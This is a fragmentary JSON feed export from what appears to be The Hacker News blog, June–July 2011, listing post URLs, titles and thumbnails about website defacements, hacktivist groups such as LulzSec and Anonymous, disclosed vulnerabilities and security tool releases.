ttp://thehackernews.com/2011/07/official-website-of-amy-winehouse.html","title":"Official Website of Amy Winehouse - Songer/Songwriter Defaced"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-OSq5IPB61HM/Tg13ba_AtLI/AAAAAAAACWQ/mAOo6db85kY/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
/2011/07/meggit-us-military-and-law-enforcement.html","title":"Meggit - US Military and Law Enforcement equipment supplier hacked for #Antisec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-YfVZV-1u5Ts/Tg10_9x6rvI/AAAAAAAACWM/XZ0a4GdtVwI/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
ernews.com/2011/06/mesa-arizona-fraternal-order-of-police.html","title":"Mesa Arizona Fraternal Order of Police website hacked, Data exposed !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-yDdZV5SN75o/Tg1JjGAkTHI/AAAAAAAACV4/6BpHMK0iUq0/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
ttp://thehackernews.com/2011/06/sql-injection-vulnerability-in-google.html","title":"SQL Injection Vulnerability in Google Lab Database System"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-L9wXGvEWyZM/Tgytspb0FHI/AAAAAAAACV0/SgOOrteuuks/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
"href":"http://thehackernews.com/2011/06/mastercard-downed-by-isp-not-anonymous.html","title":"MasterCard downed by ISP, not Anonymous hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-lry6jSJo57o/TgyiFJHg7RI/AAAAAAAACVM/RakxcIEBWus/s72-c/Tarjeta+WE_Santander+nuevo+bin.JPG","height"
...[SNIP]...
kernews.com/2011/06/indonesian-and-australian-police.html","title":"Indonesian and Australian police launched Cyber Crime Investigation Center"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-Mnl5emASdq8/TgydqH_Wr2I/AAAAAAAACVI/MtfBPIwZnHo/s72-c/illustration.jpg","height":"72","width":"72"
...[SNIP]...
ml","href":"http://thehackernews.com/2011/06/openssh-35p1-remote-root-exploit-for.html","title":"OpenSSH 3.5p1 Remote Root Exploit for FreeBSD"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-5rJJRs9YPdM/TgyR2zpZoKI/AAAAAAAACVA/DrZYOf_uBb8/s72-c/ssh.gif","height":"72","width":"72"}},{"id":
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/06/mobius-forensic-toolkit-v058-released.html","title":"Mobius Forensic Toolkit v0.5.8 Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-l1IZG5Dn_Dk/TgyQbSt4WFI/AAAAAAAACU8/TQV_o9j1D_I/s72-c/i.png","height":"72","width":"72"}},{"id":{"
...[SNIP]...
html","href":"http://thehackernews.com/2011/06/tdss-rootkit-infects-15-million-us.html","title":"TDSS rootkit infects 1.5 million US computers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-k2BqsqNTvcY/TgyOkD1-rkI/AAAAAAAACU4/8SaGxQJinRw/s72-c/warningmbrrootkithuntin.jpg","height":"72","
...[SNIP]...
ref":"http://thehackernews.com/2011/06/fbi-searches-lulzsec-suspect-home-in.html","title":"FBI searches LulzSec suspect home in Hamilton, Ohio"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-wV9i0bZEuMQ/TgwFF-jGAVI/AAAAAAAACUU/leBOlZZ-mAI/s72-c/Ryan-Cleary--007.jpg","height":"72","width":
...[SNIP]...
ref":"http://thehackernews.com/2011/06/hackers-target-al-qaida-internet.html","title":"Hackers target Al-Qaida Internet communications systems"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-h_v6X8lKpHs/TgvLQGMP-4I/AAAAAAAACUQ/uza123smzsQ/s72-c/3hackers.jpg","height":"72","width":"72"}},{
...[SNIP]...
tp://thehackernews.com/2011/06/president-obama-release-national.html","title":"President Obama release National Strategy for Counter terrorism"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-IqZTKSt6P0Y/TgthBIqr80I/AAAAAAAACUM/tOOUfWcWlm4/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
news.com/2011/06/anonymous-antisec-leaks-zimbabwe.html","title":"Anonymous Antisec leaks Zimbabwe, Australia and Brazil governments data dumps"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://i54.tinypic.com/sbqxqs_th.png","height":"72","width":"72"}},{"id":{"$t":"tag:blogger.com,1999:blog-480284147863414727
...[SNIP]...
ernews.com/2011/06/sony-hiring-information-security.html","title":"Sony Hiring Information Security Engineers \u0026 Facebook Hire George Hotz"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://i55.tinypic.com/9jzn1c_th.jpg","height":"72","width":"72"}},{"id":{"$t":"tag:blogger.com,1999:blog-480284147863414727
...[SNIP]...
ernews.com/2011/06/indian-shopping-website-groupon-leaks.html","title":"Indian shopping website Groupon leaks Email/Passwords of 300,000 Users"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://i54.tinypic.com/zx9ooo_th.jpg","height":"72","width":"72"}},{"id":{"$t":"tag:blogger.com,1999:blog-480284147863414727
...[SNIP]...
ckernews.com/2011/06/anonymous-hackers-target-orlando.html","title":"Anonymous Hackers target Orlando websites \u0026 #OpOrlando Press Release"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://i52.tinypic.com/zwym1k_th.jpg","height":"72","width":"72"}},{"id":{"$t":"tag:blogger.com,1999:blog-480284147863414727
...[SNIP]...
ate","type":"text/html","href":"http://thehackernews.com/2011/06/wwfs-philippine-website-hacked.html","title":"WWF's Philippine website hacked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-9VP8oBqavuk/TgsVIlme5vI/AAAAAAAACT4/_rxGSoGvwHc/s72-c/wwfphhack2sd.jpg","height":"72","width":"72"
...[SNIP]...
"type":"text/html","href":"http://thehackernews.com/2011/06/13-years-jail-for-phishing-attack.html","title":"13 Years Jail for Phishing Attack"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-YHbd0C5AYdo/TgsRhb_3w0I/AAAAAAAACTs/YY6pWwdyCw0/s72-c/iStock_000005872095XSmall-300x200.jpg","heig
...[SNIP]...
m/2011/06/mastercard-again-down-by-ddos-attack-in.html","title":"MasterCard again down by Ddos attack in support of Wikileaks \u0026 Anonymous"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-4bqU3PY8yJU/Tgm_LZzSGoI/AAAAAAAACTI/-A1ClTZZMp8/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
f":"http://thehackernews.com/2011/06/774-websites-hacked-by-zcompany-hacking.html","title":"774 Websites hacked by ZCOMPANY HACKING CREW (ZHC)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-qNYpVo8pMkY/TgmIaPcyOCI/AAAAAAAACS8/_LocjiACz0c/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
p://thehackernews.com/2011/06/double-nibble-uri-decoding-xss.html","title":"Double nibble URI decoding XSS Vulnerability on EC Council website"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-Yvco-FEvG8c/TgmERrrHMLI/AAAAAAAACS4/YVxkXLL6jD8/s72-c/ec-council+logo-small.jpg","height":"72","wi
...[SNIP]...
/thehackernews.com/2011/06/2000-websites-defaced-by-077-hamdi.html","title":"2000 Websites defaced by The 077 ( Hamdi HAcKer ) Tunisian HaCker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-h5tEfCZIKhw/Tgl-1vgcDdI/AAAAAAAACSk/EN4DWYmZITk/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
ckernews.com/2011/06/operations-antisec-anonymous-takes-down.html","title":"Operations AntiSec : Anonymous takes down Tunisian government site"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-qqv4C0WTllc/Tgi3JVjG1GI/AAAAAAAACSg/-b5KHQhBGYs/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
:"text/html","href":"http://thehackernews.com/2011/06/thepiratebay-removes-50-days-of-lulz.html","title":"ThePiratebay removes 50 Days Of Lulz"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-m-ztpHBQros/TgiRf4CaR0I/AAAAAAAACSc/EmjQRHIAdv0/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
com/2011/06/togglecom-forum-blog-hacked-by-cyb-imp.html","title":"Toggle.com [ forum \u0026 blog ] hacked by CYB-IMP [ Cyber Impossibilities ]"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}]},{"id":{"$t":"tag:blogger.com,1999:blog-4802841478634147276.post-5647648795248535018"},"published":{"$t":"2011-06-25T19:43:00.000-11:00"},"updated":{"$t":"2011-06-29T18:00:05.170-11:00"},"category
...[SNIP]...
ext/html","href":"http://thehackernews.com/2011/06/lulzsec-jester-expose-each-other-long.html","title":"Lulzsec Exposed, Long Live Anonymous !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-UEwN84hBGMQ/TgbH5hdB53I/AAAAAAAACRs/Isa8FjxZyPA/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
.com/2011/06/50-days-of-lulz-lulzsec-says-goodbye.html","title":"50 Days of Lulz - LulzSec Says Goodbye \u0026 Operation AntiSec will Continue"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-u8Nr_MvLZ4s/Tga0vmETa_I/AAAAAAAACRo/QDHi1GcHLjA/s72-c/LulzSec.jpg","height":"72","width":"72"}},{"
...[SNIP]...
,"href":"http://thehackernews.com/2011/06/wikileaks-we-help-you-safely-get-truth.html","title":"Wikileaks - We help you safely Get the Truth !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-l1ClSvIxVm0/TgXWhBoDBFI/AAAAAAAACRk/f5Dp3j2izh0/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
"href":"http://thehackernews.com/2011/06/nato-reports-data-breach-to-one-of-its.html","title":"NATO Reports Data Breach to One of Its Websites"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-b--dutCNqhg/TgV9QzsRy5I/AAAAAAAACRg/s64Fd5sJvKg/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
ref":"http://thehackernews.com/2011/06/teamp0ison-leak-former-british-pm-tony.html","title":"TeaMp0isoN leak Former British PM Tony Blair Data"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-RgXA9ZtQriI/TgV1QpmqhcI/AAAAAAAACRY/u9RzQPniNno/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
011/06/pbs-public-broadcasting-service.html","title":"PBS (Public Broadcasting Service) \u0026 Writerspace Hacked Again by Warv0x (AKA Kaihoe)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-3pOObGNAAcA/TgSLNfaem0I/AAAAAAAACRI/tJcdYXIEe9g/s72-c/300px-PBS_1971_id.svg.png","height":"72","wi
...[SNIP]...
el":"alternate","type":"text/html","href":"http://thehackernews.com/2011/06/ibge-hacked-by-fireh4ck3r.html","title":"IBGE Hacked by FIREH4CK3R"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-fNaaR2Q_8HM/TgRc9n4R6vI/AAAAAAAACRE/5RV98haBBqI/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
erg Cybersecurity Consulting Hacked in support of Operation Antisec\nBlack and Berg Cybersecurity Consulting..(http://www.blackbergsecurity.us/)..website got hacked by some \"handbanana\" with email \"antisec@gmx.com\" .\n\n\nHe make a Lots of Details public via a pastebin post...Black and Berg website is on Wordpress 3.1.3 and hacker use some Remote exploit to get into this...\n\n\nServer..Kernel "},"link":[{"rel
...[SNIP]...
/2011/06/black-and-berg-cybersecurity-consulting.html","title":"Black and Berg Cybersecurity Consulting Hacked in support of Operation Antisec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-dOaEmoUEl0s/TgRSKB_7wAI/AAAAAAAACQ4/bSlCFkFp7C8/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
rnews.com/2011/06/th3j35t3r-jester-claim-to-expose.html","title":"Th3J35t3r (The Jester) claim to expose identities of LulzSec Leader \"Sabu\""}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-WophEKipK2w/TgRC9SODXYI/AAAAAAAACQs/RihCIrmKE9M/s72-c/2.png","height":"72","width":"72"}},{"id":{"
...[SNIP]...
tp://thehackernews.com/2011/06/150-united-kingdom-couk-domains-defaced.html","title":"150 United Kingdom (.co.uk) Domains Defaced by Bl@ckZero"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-CbtKdMZB9_4/TgQhbowIbWI/AAAAAAAACQo/BRXaUD-tagU/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
ews.com/2011/06/justhost-hosting-server-compromised.html","title":"JustHost Hosting Server Compromised, More than 1000's of websites at Risk !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-wNtsFXhiAk0/TgNUGJUpIEI/AAAAAAAACQY/c475I3GF6nQ/s72-c/justhost-coupon-345.jpg","height":"72","widt
...[SNIP]...
ref":"http://thehackernews.com/2011/06/lulzsec-shuts-down-brazilian-government.html","title":"LulzSec shuts down Brazilian government Websites"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-kQh98DN0eWA/TgMNBC-59aI/AAAAAAAACQU/A6pBOPUIfJo/s72-c/y07HO-thumb-600x374-39832.png","height":"72"
...[SNIP]...
t/html","href":"http://thehackernews.com/2011/06/social-engineer-toolkit-v15-released.html","title":"The Social-Engineer Toolkit v1.5 Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https://lh5.googleusercontent.com/-Z8pbsxnHC1k/TgH0-OCbufI/AAAAAAAACQA/N80_423Szm4/s72-c/set.jpg","height":"72","width":"72"
...[SNIP]...
l","href":"http://thehackernews.com/2011/06/101-sites-hacked-by-swats-toxified-crew.html","title":"101 Sites hacked By Swats the Toxified Crew"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https://lh6.googleusercontent.com/-yDycYc5KWbE/TgHvRG3oWtI/AAAAAAAACP8/kpw32m9E0eU/s72-c/Untitled.png","height":"72","width"
...[SNIP]...
href":"http://thehackernews.com/2011/06/ani-shell-v12-email-alerts-mass-code.html","title":"Ani-Shell v1.2 - Email-Alerts , Mass Code injector"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https://lh4.googleusercontent.com/-ny_RCEiy_58/TgHtj-hHKMI/AAAAAAAACPo/dyLFxS_o0m8/s72-c/Ani-Shell%252520v1.2%2525203.PNG","
...[SNIP]...
pe":"text/html","href":"http://thehackernews.com/2011/06/microsoftcom-server-vulnerable-to.html","title":"DOLE website vulnerable to hackers !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https://lh5.googleusercontent.com/-RRqjEMTcXcQ/TgHkKGFXg4I/AAAAAAAACPg/heXQfBp_o5s/s72-c/Untitled.png","height":"72","width"
...[SNIP]...
news.com/2011/06/new-xss-vulnerability-found-on-sony.html","title":"New XSS Vulnerability found on Sony PlayStation by c7-elixir - The C7 Crew"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https://lh5.googleusercontent.com/-C8V9H54E8UQ/TgHS2AxXepI/AAAAAAAACOw/T_TBFMR9Qmg/s72-c/Untitled.png","height":"72","width"
...[SNIP]...
pe":"text/html","href":"http://thehackernews.com/2011/06/lulzsec-member-blog-hacked-by.html","title":"Lulzsec member blog hacked by TeaMp0isoN"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-U2hJBWG7YGs/TgGK2UZDqcI/AAAAAAAACOY/Vkf--A_ZrCI/s72-c/Vi3Ii.png","height":"72","width":"72"}},{"id
...[SNIP]...
kernews.com/2011/06/firefox-version-5-release-with-fix-of-5.html","title":"Firefox Version 5 release with fix of 5 remote code vulnerabilities"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-eDUzw7-kptk/TgGFMTozKaI/AAAAAAAACOQ/wE6Qd6twhUg/s72-c/firefox-5-download-now.jpg","height":"72","w
...[SNIP]...
t/html","href":"http://thehackernews.com/2011/06/lulzsec-exposed-details-of-alleged.html","title":"LulzSec exposed details of alleged snitches"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-ggjfUb5kk0M/TgF_TI5BB3I/AAAAAAAACOM/Em5cH8s3nfc/s72-c/feature-Deus-Ex-1.jpg","height":"72","width"
...[SNIP]...
tp://thehackernews.com/2011/06/uk-police-arrest-suspected-lulzsec-19.html","title":"UK police arrest Suspected LulzSec 19 years old Mastermind"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-YiqoKv2WFsc/TgCRKNBeKQI/AAAAAAAACOI/K7uf-DnFK2I/s72-c/arrest-lulzsec_design.png","height":"72","wi
...[SNIP]...
tp://thehackernews.com/2011/06/lulzsec-steal-millions-of-records-from.html","title":"LulzSec steal millions of records from the UK 2011 Census"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-apv9ETyJz0s/TgB0cZUIkCI/AAAAAAAACOE/iU_PaPB36DE/s72-c/2011-census-form-007.jpg","height":"72","wid
...[SNIP]...
html","href":"http://thehackernews.com/2011/06/metasploit-framework-372-released.html","title":"Metasploit Framework 3.7.2 Released - Download"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-i5-ik9AgI9I/TgBKvw4334I/AAAAAAAACOA/p6VzscGF2bw/s72-c/Metasploit_Logo.png","height":"72","width":"
...[SNIP]...
ckernews.com/2011/06/uk-serious-organised-crime-agency.html","title":"UK Serious Organised Crime agency website down after LulzSec Ddos attack"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-nZAoTxfmmTo/TgAoVZG2fXI/AAAAAAAACN8/eCKO7rEL5kU/s72-c/soca_logo.jpg","height":"72","width":"72"}},
...[SNIP]...
p://thehackernews.com/2011/06/blizzards-mobile-server-database.html","title":"Blizzard's Mobile Server Database Exposed by Warv0x (AKA Kaihoe)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-tqric5JW_UU/Tf9mzje2RTI/AAAAAAAACN0/GYpM7JxskCc/s72-c/blizzard-entertainment-logo-2.jpg","height":
...[SNIP]...
","href":"http://thehackernews.com/2011/06/brainnet-isptv-provider-hacked-by.html","title":"BrainNET ISP/TV Provider hacked by ProDom Security"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-YZo4ytoeFFg/Tf9IphGnd3I/AAAAAAAACNw/MJ95NiruM0E/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
kernews.com/2011/06/lulzsec-anonymous-initiates-operation.html","title":"LulzSec \u0026 Anonymous initiates 'Operation Anti-Security' together"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-wsgVG3oqQks/Tf9FqQJCr4I/AAAAAAAACNs/jDMkToXKbMY/s72-c/112151-lulzsec.jpg","height":"72","width":"7
...[SNIP]...
"text/html","href":"http://thehackernews.com/2011/06/sony-pictures-france-hacked-by.html","title":"Sony Pictures France hacked by idahc_hacker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-G61f4RjfGMo/Tf6xE1beKeI/AAAAAAAACNk/pqy13ALDlAw/s72-c/sonypictures.fr+2.jpg","height":"72","width"
...[SNIP]...
/thehackernews.com/2011/06/multiple-sql-injection-vulnerabilities.html","title":"Multiple SQL Injection Vulnerabilities on CNN website Exposed"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-v8P3VeAFX_k/Tf3qYoyNMkI/AAAAAAAACNY/bu9-PPekdoo/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
india-unit-centaur-hotels-website.html","title":"Air India unit - Centaur Hotels website insecure - Passports, ID's, credit cards data at Risk"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-uXo8M8dD_R4/Tf1rw4pvAiI/AAAAAAAACNE/nu_SzgvvzXM/s72-c/Centaur_Hotels_Directory_Listing_Screen+shot
...[SNIP]...
011/06/libyan-satellite-tv-website-hacked-by.html","title":"Libyan Satellite TV Website Hacked by Ktkoti and Most of Libyan media sites down !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-0LcFC4n2-RI/Tf1puMXGN4I/AAAAAAAACNA/SWmnA62pFlk/s72-c/hackedlibyatv500.jpg","height":"72","width":
...[SNIP]...
","href":"http://thehackernews.com/2011/06/indishellnet-forum-hacked-by-pakistan.html","title":"Indishell.net forum Hacked by Pakistan hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-qdBnDjqZto8/Tf1nVzKbVaI/AAAAAAAACM8/ABj31GZVoQA/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
/thehackernews.com/2011/06/adag-group-chairman-anil-ambanis-email.html","title":"ADAG Group Chairman Anil Ambani's email under phishing attack"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-cjq03cdBaKY/Tfyr7EDeJBI/AAAAAAAACM4/fuMXwJ5qDzs/s72-c/Anil-Ambani_1560270c.jpg","height":"72","wid
...[SNIP]...
:"http://thehackernews.com/2011/06/pakhackerzcom-hacked-by-indishell-and.html","title":"Pakhackerz.com hacked by Indishell and database dumped"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-1J8xOttlRVI/TfyptOenNZI/AAAAAAAACM0/AGQFDKUa3dE/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
":"http://thehackernews.com/2011/06/interview-with-anonymous-anonyops-or.html","title":"Interview with Anonymous ( Anony_ops OR Anon_Central )"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-deNsKEJ49QE/TfyAzJWGy8I/AAAAAAAACMw/A2AD95jjB_E/s72-c/page.jpg","height":"72","width":"72"}},{"id"
...[SNIP]...
